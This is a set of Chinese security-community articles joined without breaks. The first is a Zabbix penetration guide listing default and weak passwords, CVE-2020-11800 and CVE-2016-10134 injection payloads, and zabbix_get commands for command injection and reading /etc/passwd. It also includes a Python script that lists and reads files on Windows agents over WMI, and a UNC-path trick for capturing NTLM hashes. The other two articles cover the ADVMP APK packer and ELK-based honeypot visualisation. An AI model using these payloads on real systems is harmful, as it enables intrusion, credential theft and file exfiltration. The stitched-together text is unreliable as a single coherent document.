Agent服务的配置文件为`zabbix_agentd.conf`，Linux默认路径在`/etc/zabbix/zabbix_agentd.conf`，可通过以下命令查看agent配置文件并过滤掉注释内容：
cat /etc/zabbix/zabbix_agentd.conf | grep -v '^#' | grep -v '^$'
首先从配置文件定位zabbix_agentd服务的基本信息：
* **Server参数**
Server或Proxy的IP、CIDR、域名等，Agent仅接受来自Server参数的IP请求。
Server=192.168.10.100
* **ServerActive参数**
Server或Proxy的IP、CIDR、域名等，用于主动模式，Agent主动向ServerActive参数的IP发送请求。
ServerActive=192.168.10.100
* **StartAgents参数**
为0时禁用被动模式，不监听10050端口。
StartAgents=0
经过对 `zabbix_agentd.conf` 配置文件各个参数的安全性研究，总结出以下配置不当可能导致安全风险的配置项：
* **EnableRemoteCommands参数**
是否允许来自Zabbix Server的远程命令，开启后可通过Server下发shell脚本在Agent上执行。
**风险样例：**
EnableRemoteCommands=1
* **AllowRoot参数**
Linux默认以低权限用户zabbix运行，开启后以root权限运行zabbix_agentd服务。
**风险样例：**
AllowRoot=1
* **UserParameter参数**
自定义用户参数，格式为`UserParameter=<key>,<command>`，Server可向Agent执行预设的自定义参数命令以获取监控数据，以官方示例为例：
UserParameter=ping[*],echo $1
当Server向Agent执行`ping[aaaa]`指令时，$1为传参的值，Agent经过拼接之后执行的命令为`echo
aaaa`，最终执行结果为`aaaa`。
command存在命令拼接，但由于传参内容受UnsafeUserParameters参数限制，默认无法传参特殊符号，所以默认配置利用场景有限。
官方漏洞案例可参考[CVE-2016-4338](https://www.exploit-db.com/exploits/39769)漏洞。
* **UnsafeUserParameters参数**
自定义用户参数是否允许传参任意字符，默认不允许字符\ ' " ` * ? [ ] { } ~ $ ! & ; ( ) < > | # @
**风险样例：**
UnsafeUserParameters=1
当UnsafeUserParameters参数配置不当时，组合UserParameter自定义参数的传参命令拼接，可导致远程命令注入漏洞。
由Server向Agent下发指令执行自定义参数，即可在Agent上执行任意系统命令。 以 `UserParameter=ping[*],echo $1`
为例，向Agent执行指令`ping[test && whoami]`，经过命令拼接后最终执行`echo test &&
whoami`，成功注入执行shell命令。
* **Include参数**
加载配置文件目录单个文件或所有文件，通常包含的conf都是配置UserParameter自定义用户参数。
Include=/etc/zabbix/zabbix_agentd.d/*.conf
## 五、Zabbix Server攻击手法
除了有利用条件的Zabbix Agent漏洞外，默认情况下Agent受限于IP白名单限制，只处理来自Server的请求，所以攻击Zabbix
Agent的首要途径就是先拿下Zabbix Server。
经过对Zabbix Server攻击面进行梳理，总结出部分攻击效果较好的漏洞：
### 1\. Zabbix Web后台弱口令
Zabbix安装后自带Admin管理员用户和Guests访客用户(低版本)，可登陆Zabbiax后台。
超级管理员默认账号：Admin，密码：zabbix Guests用户，账号：guest，密码为空
### 2\. MySQL弱口令
从用户习惯来看，运维在配置Zabbix时喜欢用弱口令作为MySQL密码，且搜索引擎的Zabbix配置教程基本用的都是弱口令，这导致实际环境中Zabbix
Server的数据库密码通常为弱口令。
除了默认root用户无法外连之外，运维通常会新建MySQL用户 `zabbix`，根据用户习惯梳理了`zabbix`用户的常见密码：
123456
zabbix
zabbix123
zabbix1234
zabbix12345
zabbix123456
123456
拿下MySQL数据库后，可解密users表的密码md5值，或者直接替换密码的md5为已知密码，即可登录Zabbix Web。
### 3\. CVE-2020-11800 命令注入
Zabbix Server的trapper功能中active
checks命令存在CVE-2020-11800命令注入漏洞，该漏洞为基于CVE-2017-2824的绕过利用。 未授权攻击者向Zabbix
Server的10051端口发送trapper功能相关命令，利用漏洞即可在Zabbix Server上执行系统命令。
`active checks`是Agent主动检查时用于获取监控项列表的命令，Zabbix Server在开启自动注册的情况下，通过`active
checks`命令请求获取一个不存在的host时，自动注册机制会将json请求中的host、ip添加到interface数据表里，其中CVE-2020-11800漏洞通过ipv6格式绕过ip字段检测注入执行shell命令，
**受数据表字段限制Payload长度只能为64个字符** 。
{"request":"active checks","host":"vulhub","ip":"ffff:::;whoami"}
自动注册调用链：
active checks -> send_list_of_active_checks_json() -> get_hostid_by_host() -> DBregister_host()
`command`指令可以在未授权的情况下可指定主机(hostid)执行指定脚本(scriptid)，Zabbix存在3个默认脚本，脚本中的`{HOST.CONN}`在脚本调用的时候会被替换成主机IP。
# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1
scriptid指定其中任意一个，hostid为注入恶意Payload后的主机id，但自动注册后的hostid是未知的，所以通过`command`指令遍历hostid的方式都执行一遍，最后成功触发命令注入漏洞。
{"request":"command","scriptid":1,"hostid":10001}
由于默认脚本的类型限制，脚本都是在Zabbix Server上运行，Zabbix
Proxy是无法使用command指令的。payload长度受限制可拆分多次执行，必须更换host名称以执行新的payload。
漏洞靶场及利用脚本：[Zabbix Server
trapper命令注入漏洞（CVE-2020-11800）](https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2020-11800)
### 4\. CVE-2017-2824 命令注入
上面小结已详细讲解，CVE-2017-2824与CVE-2020-11800漏洞点及利用区别不大，不再复述，可参考链接：<https://talosintelligence.com/vulnerability_reports/TALOS-2017-0325>
漏洞靶场及利用脚本：[Zabbix Server
trapper命令注入漏洞（CVE-2017-2824）](https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2017-2824)
### 5\. CVE-2016-10134 SQL注入
CVE-2016-10134 SQL注入漏洞已知有两个注入点：
* latest.php，需登录，可使用未关闭的Guest访客账号。
/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
* jsrpc.php，无需登录即可利用。
利用脚本：<https://github.com/RicterZ/zabbixPwn>
漏洞靶场及利用脚本：[zabbix latest.php
SQL注入漏洞（CVE-2016-10134）](https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134)
## 六、Zabbix Server权限后利用
拿下Zabbix Server权限只是阶段性的成功，接下来的问题是如何控制Zabbix Agent以达到最终攻击目的。
Zabbix Agent的10050端口仅处理来自Zabbix Server或Proxy的请求，所以后续攻击都是依赖于Zabbix
Server权限进行扩展，本章节主要讲解基于监控项item功能的后利用。
>
> 在zabbix中，我们要监控的某一个指标，被称为“监控项”，就像我们的磁盘使用率，在zabbix中就可以被认为是一个“监控项”(item)，如果要获取到“监控项”的相关信息，我们则要执行一个命令，但是我们不能直接调用命令，而是通过一个“别名”去调用命令，这个“命令别名”在zabbix中被称为“键”(key)，所以在zabbix中，如果我们想要获取到一个“监控项”的值，则需要有对应的“键”，通过“键”能够调用相应的命令，获取到对应的监控信息。
以Zabbix 4.0版本为例，按照个人理解 item监控项可分为
**通用监控项、主动检查监控项、Windows监控项、自定义用户参数(UserParameter)监控项**
，Agent监控项较多不一一例举，可参考以下链接： [1\. Zabbix
Agent监控项](https://www.zabbix.com/documentation/4.0/zh/manual/config/items/itemtypes/zabbix_agent)
[2\. Zabbix Agent
Windows监控项](https://www.zabbix.com/documentation/4.0/zh/manual/config/items/itemtypes/zabbix_agent/win_keys)
在控制Zabbix Server权限的情况下可通过zabbix_get命令向Agent获取监控项数据，比如说获取Agent的系统内核信息：
zabbix_get -s 172.21.0.4 -p 10050 -k "system.uname"
结合上述知识点，针对item监控项的攻击面进行挖掘，总结出以下利用场景：
### 1\. EnableRemoteCommands参数远程命令执行
Zabbix最为经典的命令执行利用姿势，许多人以为控制了Zabbix
Server就肯定能在Agent上执行命令，其实不然，Agent远程执行系统命令需要在`zabbix_agentd.conf`配置文件中开启EnableRemoteCommands参数。
在Zabbix Web上添加脚本，“执行在”选项可根据需求选择， **“执行在Zabbix服务器”
不需要开启EnableRemoteCommands参数，所以一般控制Zabbix Web后可通过该方式在Zabbix
Server上执行命令拿到服务器权限。**
如果要指定某个主机执行该脚本，可从Zabbix Web的“监测中 ->
最新数据”功能中根据过滤条件找到想要执行脚本的主机，单击主机名即可在对应Agent上执行脚本。
**这里有个常见误区，如果类型是“执行在Zabbix服务器”，无论选择哪台主机执行脚本，最终都是执行在Zabbix Server上。**
如果类型是“执行在Zabbix客户端”，Agent配置文件在未开启EnableRemoteCommands参数的情况下会返回报错。
Agent配置文件在开启EnableRemoteCommands参数的情况下可成功下发执行系统命令。
如果不想在Zabbix Web上留下太多日志痕迹，或者想批量控制Agent，拿下Zabbix
Server权限后可以通过zabbix_get命令向Agent执行监控项命令， **在Zabbix
Web执行脚本实际上等于执行system.run监控项命令** 。
也可以基于Zabbix Server作为隧道跳板，在本地执行zabbix_get命令也能达到同样效果（Zabbix Agent为IP白名单校验）。
### 2\. UserParameter自定义参数命令注入
之前介绍UserParameter参数的时候提到过，执行监控项时UserParameter参数command命令的2等会被替换成item传参值，存在命令注入的风险，但默认受UnsafeUserParameters参数限制无法传入特殊字符。
当Zabbiax
Agent的`zabbix_agentd.conf`配置文件开启UnsafeUserParameters参数的情况下，传参值字符不受限制，只需要找到存在传参的自定义参数UserParameter，就能达到命令注入的效果。
举个简单案例，在`zabbix_agentd.conf`文件中添加自定义参数：
UserParameter=ping[*],echo $1
默认情况下UnsafeUserParameters被禁用，传入特殊字符将无法执行命令。
在`zabbix_agentd.conf` 文件中添加 `UnsafeUserParameters=1`，command经过传参拼接后成功注入系统命令。
zabbix_get -s 172.19.0.5 -p 10050 -k "ping[test && id]"
UnsafeUserParameters参数配置不当问题在监控规模较大的内网里比较常见，内网渗透时可以多留意Agent配置信息。
### 3\. 任意文件读取
Zabbix Agent如果没有配置不当的问题，是否有其他姿势可以利用呢？答案是肯定的。
Zabbix原生监控项中，`vfs.file.contents`命令可以读取指定文件，但无法读取超过64KB的文件。
zabbix_get -s 172.19.0.5 -p 10050 -k "vfs.file.contents[/etc/passwd]"
**zabbix_agentd服务默认以低权限用户zabbix运行，读取文件受zabbix用户权限限制。开启AllowRoot参数情况下zabbix_agentd服务会以root权限运行，利用`vfs.file.contents`命令就能任意文件读取。**
如果文件超过64KB无法读取，在了解该文件字段格式的情况下可利用`vfs.file.regexp`命令正则获取关键内容。
### 4\. Windows目录遍历
Zabbix原生监控项中，`wmi.get`命令可以执行WMI查询并返回第一个对象，通过WQL语句可以查询许多机器信息，以下例举几种利用场景：
* 遍历盘符
由于`wmi.get`命令每次只能返回一行数据，所以需要利用WQL的条件语句排除法逐行获取数据。
比如WQL查询盘符时，只返回了C:
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk\"]"
通过追加条件语句排除已经查询处理的结果，从而获取下一行数据。
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk WHERE Name!='C:'\"]"
可通过脚本一直追加条件语句进行查询，直至出现`Cannot obtain WMI
information.`代表WQL已经无法查询出结果。从图中可以看到通过`wmi.get`命令查询出了该机器上存在C:、D:盘符。
* 遍历目录
获取C:下的目录，采用条件语句排除法逐行获取。
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' \"]"
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' AND Caption != 'C:\\\\\$Recycle.Bin' \"]"
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' AND Caption != 'C:\\\\\$Recycle.Bin' AND Caption != 'C:\\\\\$WinREAgent' \"]"
...
获取C:下的文件，采用条件语句排除法逐行获取。
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' \"]"
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' AND Name != 'C:\\\\\$WINRE_BACKUP_PARTITION.MARKER' \"]"
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' AND Name != 'C:\\\\\$WINRE_BACKUP_PARTITION.MARKER' AND Name !='C:\\\\browser.exe' \"]"
...
利用`wmi.get`命令进行目录遍历、文件遍历，结合`vfs.file.contents`命令就能够在Windows下实现任意文件读取。
基于zabbix_get命令写了个python脚本，实现Windows的列目录、读文件功能。
import os
import sys
count = 0
def zabbix_exec(ip, command):
global count
count = count + 1
check = os.popen("./zabbix_get -s " + ip + " -k \"" + command + "\"").read()
if "Cannot obtain WMI information" not in check:
return check.strip()
else:
return False
def getpath(path):
return path.replace("\\","\\\\\\\\").replace("$","\\$")
def GetDisk(ip):
where = ""
while(True):
check_disk = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM Win32_LogicalDisk WHERE Name != '' " + where + "\\\"]")
if check_disk:
print(check_disk)
where = where + "AND Name != '" + check_disk+ "'"
else:
break
def GetDirs(ip, dir):
drive = dir[0:2]
path = dir[2:]
where = ""
while(True):
check_dir = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Caption FROM Win32_Directory WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
if check_dir:
print(check_dir)
where = where + "AND Caption != '" + getpath(check_dir) + "'"
else:
break
def GetFiles(ip, dir):
drive = dir[0:2]
path = dir[2:]
where = ""
while(True):
check_file = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM CIM_DataFile WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
if check_file:
if "Invalid item key format" in check_file:
continue
print(check_file)
where = where + "AND Name != '" + getpath(check_file) + "'"
else:
break
def Readfile(ip, file):
read = zabbix_exec(ip, "vfs.file.contents[" + file + "]")
print(read)
if __name__ == "__main__":
if len(sys.argv) == 2:
GetDisk(sys.argv[1])
elif sys.argv[2][-1] != "\\":
Readfile(sys.argv[1], sys.argv[2])
else:
GetDirs(sys.argv[1],sys.argv[2])
GetFiles(sys.argv[1],sys.argv[2])
print("Request count: " + str(count))
### 5\. Windows UNC路径利用
在Windows Zabbix Agent环境中，可以利用`vfs.file.contents`命令读取UNC路径，窃取Zabbix
Agent机器的Net-NTLM hash，从而进一步Net-NTLM relay攻击。
Window Zabbix Agent默认安装成Windows服务，运行在SYSTEM权限下。在工作组环境中，system用户的Net-NTLM
hash为空，所以工作组环境无法利用。
在域内环境中，SYSTEM用户即机器用户，如果是Net-NTLM v1的情况下，可以利用Responder工具获取Net-NTLM v1
hash并通过算法缺陷解密拿到NTLM hash，配合资源约束委派获取域内机器用户权限，从而拿下Agent机器权限。
也可以配合CVE-2019-1040漏洞，relay到ldap上配置基于资源的约束委派进而拿下Agent机器权限。
zabbix_get -s 192.168.30.200 -p 10050 -k "vfs.file.contents[\\\\192.168.30.243\\cc]"
### 6\. Zabbix Proxy和主动检查模式利用场景
通过zabbix_get工具执行监控项命令只适合Agent被动模式且10050端口可以通讯的场景（同时zabbix_get命令也是为了演示漏洞方便）。
如果在Zabbix Proxy场景或Agent主动检查模式的情况下，Zabbix Server无法直接与Agent
10050端口通讯，可以使用比较通用的办法，就是通过Zabbix Web添加监控项。
以UserParameter命令注入漏洞举例，给指定主机添加监控项，键值中填入监控项命令，信息类型选择文本：
在最新数据中按照筛选条件找到指定主机，等待片刻就能看到执行结果。
任意文件读取漏洞也同理：
**通过zabbix_get工具执行结果最大可返回512KB的数据，执行结果存储在MySQL上的限制最大为64KB。**
ps: 添加的监控项会一直定时执行，所以执行完后记得删除监控项。
## 七、参考链接
<https://www.zabbix.com/documentation/4.0/zh/manual/config/items/userparameters>
<https://github.com/vulhub/vulhub>
<https://talosintelligence.com/vulnerability_reports/TALOS-2017-0325>
<https://www.zsythink.net/archives/551/>
* * * | 社区文章 |
## 前言
[上一篇文章](https://xz.aliyun.com/t/6438
"上一篇文章")分析了Obfuscapk，这一篇文章继续分析另一个apk加固工具advmp。
作者说明：<https://www.cnblogs.com/develop/p/4397397.html>
github地址：<https://github.com/chago/ADVMP>
简单来说，advmp参考dalvik虚拟机的解释器对字节码进行解释执行。代码结构如下。
* AdvmpTest：测试用的项目。
* base：Java写的工具代码。
* control-centre：Java写的控制加固流程的代码。
* separator：Java写的抽离方法指令，然后将抽离的指令按照自定义格式输出，并同时输出C文件的代码。
* template/jni：C写的解释器的代码。
* ycformat：Java写的用于保存抽取出的指令等数据的自定义的文件格式代码。
我们来写一个demo，看看加固前后的效果：
代码中默认对separatorTest方法进行加固。可以看到加固后separatorTest方法已经变成一个native方法，并且加载了advmp.so。
## dalvik虚拟机的解释器
首先参考infoQ上几篇文章回顾下dalvik虚拟机的解释器。我们知道可以通过RegisterNatives函数注册native方法，最后调用到dvmSetNativeFunc函数中将Method的nativeFunc指向dvmCallJNIMethod函数。
在dvmCallMethodV函数中将ins指向第一个参数，如果不是静态方法将this指针放入ins，根据后面参数的类型依次将后面的参数放入ins。
如果调用的是native方法就会进入Method的nativeFunc指向的dvmCallJNIMethod函数；如果调用的是java方法就会进入dvmInterpret函数。
下面我们来分析dvmInterpret函数。dvmInterpret函数选择解释器(这里以Portable解释器为例)，调用dvmInterpretPortable函数。dvmInterpretPortable函数通过DEFINE_GOTO_TABLE定义了一个
handlerTable[kNumPackedOpcodes]数组。数组元素通过H宏定义，比如H(OP_RETURN_VOID)展开后得到&&op_OP_RETURN_VOID，表示op_OP_RETURN_VOID的位置。op_OP_RETURN_VOID通过HANDLE_OPCODE宏定义。
之后dvmInterpretPortable函数中调用了FINISH(0)取第一条指令并执行。移动PC，然后获取对应指令的操作码到inst。根据inst获取该指令的操作码(一条指令包含操作码和操作数)，然后goto到该操作码对应的label处理处。在对应label处理处从指令中提取参数，比如INST_A或INST_B。处理后再次调整PC，使得能处理下一条指令。
## ADVMP原理
了解了dalvik虚拟机的解释器原理之后我们就可以理解ADVMP加壳的过程了。
插入System.loadLibrary指令加载advmp.so：
抽取separatorTest方法的代码写到classes.yc文件中，生成新的separatorTest方法(native)。yc文件为自定义格式，保存了抽取出来的方法指令/访问标志/参数个数等等信息：
将separatorTest方法对应的C代码和注册该方法的C代码写到advmp_separator.cpp文件中，然后将该文件中的代码合并到定义了JNI_OnLoad方法的avmp.cpp文件中，如下所示为生成的advmp_separator.cpp文件：
JNI_OnLoad中首先调用registerFunctions函数然后释放并解析yc文件：
在separatorTest方法对应的C代码中调用了BwdvmInterpretPortable函数，第一个参数为从yc文件中得到的data，BwdvmInterpretPortable函数首先要做类似于dvmCallMethodV函数的工作，然后就可以像dvmInterpretPortable函数一样对字节码进行解释执行了。
## 参考资料
1.<https://www.infoq.cn/profile/1279859> | 社区文章 |
在上篇博客中，我提到过很快会再出篇新的可视化蜜罐文章。但由于一些原因推迟到今日，所以我想对期待这篇文章的读者说声抱歉。我自认为我已经选择了关于可视化蜜罐的最佳方案，但正如你所见的，并不是这样的，可能因为我太年轻了。先提醒各位读者：本文非常长。
# 问题
在上篇博客中，我已经讨论了可视化蜜罐数据。这次，我发现对于我的Cowrie蜜罐和Dionaea数据来说，最好的选择就是使用 Kippo-Graph和DionaeaFR。
我的上篇博客详细介绍了一些你需要了解的曲折和技巧，这样便于你正常运行 Kippo-Graph和DionaeaFR。但问题是随着底层软件的依赖新版本的发布，
关于曲折和技巧的清单可能会增加或者变动。但最本质的问题却是当大多数底层依赖的软件要更新了，而用来视觉化的包却没有及时更新。
即使你在蜜罐服务器上成功的运行了Kippo-Graph和DionaeaFR，再次重新配置所有东西只是时间问题
。我的习惯是是定期重构我的蜜罐——频率也许是每一个月或二个月 。
你需要了解的是构建新的网络环境或重新安装蜜罐从来都不是问题，这是一个很快的过程（参见上篇博客）。我完成这些大概需要5-10分钟。
每次都得重装前端软件又是一个单独的故事，这也是我开始写本文的原因。
# 寻找解决方案
在这次案例中，我总结出了最佳实践方案，那就是在虚拟机里安装视觉化软件。在虚拟机中我可以做出任何有助于软件正常工作的调整，并且再也不担心什么时候重构蜜罐服务器了。我使用scp命令将蜜罐服务器的数据拷贝到本地虚拟机，然后在那儿开始演示视觉化操作。
在我决定用那个方法后，突然我就意识到可能存在其他可以使用的视觉化方案。
自从我初步试验了下现代蜜罐网络（MHN）技术后，我就对使用ELK技术栈来可视化我的蜜罐数据非常感兴趣。对于不熟悉ELK技术栈的朋友，这里简单介绍下：ELK技术栈是指同一家公司Elastic开发的开源软件组合。这个缩写代表着：
* E - Elasticsearch
* L - Logstash
* K - Kibana
简而言之，Logstash以不同的形式处理日志文件，然后将数据发送给Elasticsearch索引去分类、组织和检索。最后Kibana提出了一种方法，在浏览器中对存储在Elasticsearch索引中的数据进行可视化展示。这样就可以使用Kibana可以创建一个高度定制的可视化主控界面。
现在，我打算使用本地虚拟机作为可视化服务器成为了可能，同时可搭载ELK。
如果你刚开始使用ELK技术栈组件，我认为最好的入门视频是Minsuk
Heo的[这个](https://youtu.be/69OoC7haeeA)。尽管有时他的口音很糟糕，但在我看来，这依然是互联网上最好的“从头开始了解ELK”的视频。
# 尝试ELK
通常情况，ELKstack环境会包含额外用来发送服务器数据到ELK电脑上的组件。Elastic公司提供了Filebeats工具来完成这个操作。这个过程的数据流看起来是这样的：
> Data source(s) —> Filebeats –> Logstash –>Elasticsearch –> Kibana
当我意识到这种数据流方式并不是我想要的方案时，我就知道如果不按照这个流程来，如何去实现这么个效果，这必然是我的第一个难题，因为我的ELK
stack在我的家庭电脑上的一台虚拟机上运行，而我的蜜罐部署在云中。接着这个问题的第二部分出现了，因为我找遍了所有的文档和指导手册，但它们都是以上面那种用法（数据流）来讲的。我需要找到一种将本地存储的数据放入Elasticsearch索引的方法。这时我发现了源自MirkoNasato的一篇[博客](https://labs.encoded.io/2015/01/02/analytics-with-elasticsearch-and-kibana/)和一个[伴侣视频](https://www.youtube.com/watch?v=wHWb1d_VGp8)。Mirko的背景比较有意思，他运营着一个Wordismic的社交媒体游戏。在他的博客和视频中，他详细介绍了如何将本地游戏数据导入到Elasticsearch中，就像我们想要做的那样。
在Mirko的教程帮助下，我可以给我的Cowrie蜜罐数据构造索引了，然后使用Kibana进行可视化展示。这真的很容易，因为Cowrie可以以JSON格式本地记录其数据。很快的，我就有了下面这样的主控界面了。
但对于Dionaea来说，使用ELK又是另一个故事了。
Dionaea有个选项是支持数据记录到JSON格式文件的。该文件后缀是yaml，你一定会启用的文件（与Dionaea中其他的服务和handler一样）。在测试过程中，我曾经使用过这个特性，但因为某些原因，JSON记录不再正常工作了。当时那个情况持续了好几个星期。
为了解决这个问题，我决定在本地虚拟机上安装DionaeaFR去观察我的Dionaea数据。 但直到我在推特上向Ignacio
Sanmilan发送了关于Dionaea和MHN的消息，这个问题才感觉快被解决了。第二天，他向我发送了一条链接展示了他完成的最基本可视化效果。那效果太难忘了。在那之后，他还添加了一些其他的特性，那效果特别棒，就像是赋予了生命般
。
在得知Ignacio能够快速的重组前端界面后，这促使我开始思考是否要制作自己的Dionaea主控界面。但事实证明这比我想象的要困难的多了（很明显我的php很烂）。所以目前来说，我还是坚持用本地版本的DionaeaFR。
# 安装配置
以下是我的honeypot可视化解决方案的运行安装过程的详细信息
### VM配置
1. VirturalBox配64位Linux Mint （GuestAdditions）
2. 1处理器／3GB RAM／50GB固态
3. 1个共享文件夹
##### 可选项
如果你通过共享文件夹在VM和主机之间传输数据，下面的命令会有助于你可能遇上的问题。
`sudo adduser username vboxsf`
### 安装步骤
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install curl
sudo apt-get install software-properties-common
sudo apt-get install ubuntu-restricted-extras
### ELK的安装
ELK stack的安装需要较新的JDK版本。
你可以从[这](\[here\]\(http://www.oracle.com/technetwork/java/javase/downloads/index.html))下载最新的JDK
在写这篇文章前我已经下载了jdk1.8.0_131-linux-x64.tar.gz，现在将这个压缩文件拷贝到/opt文件夹下：
sudo cp jdk1.8.0_131-linux-x64.tar.gz /opt
cd /opt
tar -zxvf jdk1.8.0_131-linux-x64.tar.gz
chown -R root jdk1.8.0_131
解压后可以删除原始的tar.gz文件了。
下一步，需要安装一些java组件的可选项了。
sudo update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_60/bin/java 1
sudo update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_60/bin/javac 1
sudo update-alternatives --install /usr/bin/jar jar /opt/jdk1.8.0_60/bin/jar 1
java的版本是必须手动设置的，命令如下：
sudo update-alternatives --config java
所以选择你刚才安装的版本。
如果有需要的话，你可以通过命令行运行它们来进行测试（比如，输入java命令，确保运行了正确的版本）
### ELK Stack
有很多方法安装和运行ELK组件。其中一种方式是下载DEB后缀文件的组件，然后通过GDebi安装他们。安装完成后，你可以将组件作为服务运行，并配置成自启动。这过程非常容易，我初次安装用的就是这种方式。
在我的初次试用ELK和Cowrie中，我没有使用Logstash。毕竟我们只需要将本地数据存储到索引中然后将其可视化。这也是Mirko
Nasato在他博客中提到的如何导入数据的方式。我们将继续使用这个，而不用Logstash处理数据。
#### 选项一：将ELK组件以服务运行
访问Elastic网站，下载最新的组件 —— Elasticsearch, Logstash 和 Kibana（Linux用户应该下载.DEB文件）
下载完成后，使用GDebi安装每个组件。这种安装方式默认安装在/usr/share/elasticsearch目录下（其他组件也是安装类似的目录下）。
接着通过下面的命令启动服务：
sudo service elasticsearch start
sudo service kibana start
##### 将ELK设置成开机启动
先判断你的系统使用的是SysV还是systemd
`ps -p 1`
假设你使用systemd来运行ElasticSearch（比如，Elementary OS）。
通过下面的命令启动和停止ElasticSearch：
sudo systemctl start elasticsearch.service
sudo systemctl stop elasticsearch.service
接着为了让Elasticsearch开机自启，运行下面的命令：
sudo /bin/systemctl daemon-reload
sudo /bin/systemctl enable elasticsearch.service
假设你使用SysV init来运行ElasticSearch（比如 Linux Mint）
通过下面的命令启动和停止ElasticSearch：
sudo -i service elasticsearch start
sudo -i service elasticsearch stop
接着配置Elastic自启：
sudo update-rc.d elasticsearch defaults 95 10
对于Kibana和logstash来说，你也可以这样配置。
#### 选项二：按需运行ELK组件
我将虚拟机配置成按需运行ELK，所以我从[这](https://www.elastic.co/downloads)下载了ELK
Stack组件文件，格式是tar.gz。
打开终端窗口，将下载目录下的文件拷贝到/opt文件夹下。
sudo cp elasticsearch-5.4.3.tar.gz /opt
sudo cp kibana-5.4.3-linux-x86_64.tar.gz /opt
sudo cp logstash-5.4.3.tar.gz /opt
接着，切换目录到/opt下，解压所有文件：
cd /opt
sudo tar -zxvf elasticsearch-5.4.3.tar.gz
sudo tar -zxvf kibana-5.4.3-linux-x86_64.tar.gz
sudo tar -zxvf logstash-5.4.3.tar.gz
现在你可以启动Elasticsearch，举个例子，你只需要这么做：
cd elasticsearch-5.4.3
./bin/elasticsearch
对于Kibana和Logstash来说，过程是一样的
#### 配置修改
在启动组件前，我对配置文件进行了最小的修改，尽管这并不是必须的。我使用了下面的命令来修改文件：
`sudo nano /etc/elasticsearch/elasticsearch.yml`
接着，修改Cluster和Node的名字，我是这样改的：
cluster-name: honeypot-cluster
node-name: honeypots
然后，我还将`network.host:192.168.0.1`改成了`network-host: localhost`。
保存退出。
#### 启动，访问ELK
现在你已经运行了ELK，我们可以通过浏览器在本地的9200端口和5601端口分别访问Elasticsearch和Kibana了。
#### 使用ELK工作吧
我已经将下面会提到的脚本上传到了[github](https://github.com/executemalware/Honeypot-Visualizations)。
首先我们需要的是存储数据的Elasticsearch索引。一般来说，索引的创建非常简单。在终端下输入下面的命令就可以创建叫做test的索引了。
`curl -XPUT 'localhost:9200/test'`
你应该能看到true的结果返回，你也可以通过下面的这个命令来验证test索引的存在。
`curl -XGET 'localhost:9200/test?pretty'`
这个脚本在Elasticsearch创建了Cowrie索引，同时也提供了映射信息：
`./create_index.sh `
现在，你需要将数据存入新的Elasticsearch索引。下面的这个脚本会循环遍历名为’cowrie’文件夹然后使用’./bulk_index.sh’脚本处理每个文件。这个脚本会在cowrie数据文件中的每一行中插入正确的数据，并以正确的JSON格式（便于Elasticsearch）组合起来，接着会把文件添加到我们刚建立的’cowrie’索引中。
`for JSON in cowrie/*.*; do ./bulk_index.sh $JSON; done`
现在你已经将数据存到了Elasticsearch索引中，接着可以通过Kibana来进行可视化了。
#### 使用Kibana
* 打开浏览器，访问localhost:5601
* 在要求你创建索引名的字段位置，删掉原来的logstash-*，然后输入cowrie
* 确认勾选了以时间为索引的复选框
* 点击创建
* 在左侧菜单点击发现去校验和观察你的数据
* 此时最可能出现的情况是，右上角的数据只显示了最近15分钟—— 你可以自己调整范围。
接着，添加可视化选项。
* 点击左侧菜单的可视化
* 点击创建可视化视图，然后关闭。
（温馨提示：我并不打算指导你如何在Kibana中创建可视化视图，因为网络上有很多非常棒的相关资源）
目前来说，我们所遇到的ELK困惑中只有一个尚未解决，就是将IP地址转为地理位置以便在地图上标注出来。为了完成这个，我们需要借助Logstash的力量。到目前为止，我并没有让它正常工作，一旦没问题我会发篇相关简短的博客。
### 可视化Dionaea数据
因为在之前的博客中介绍了DionaeaFR，所以这里不会深入任何相关的细节。关于DionaeaFR安装唯一要注意的新内容是现在有一个脚本，它能够完成所有繁重的操作。我在原始的DionaeaFR博客上收到了来自R1ckyz1的评论，他说他写了一个能够自动安装DionaeaFR和所有依赖的脚本。于是我将这个脚本进行了修改，你可以在从这获取它。
在DionaeaFR安装完成后，你可以通过这个脚本来启动。在那之后，你可以通过本地8000端口来访问。
### 结论和未完成的部分
就本文的大部分来说，我并不满意这篇文章。因为有太多未完成的。在你考虑如何将你捕获的数据进行展示和计算时，希望这篇漫长的蜜罐可视化文章能够给你一些启发。
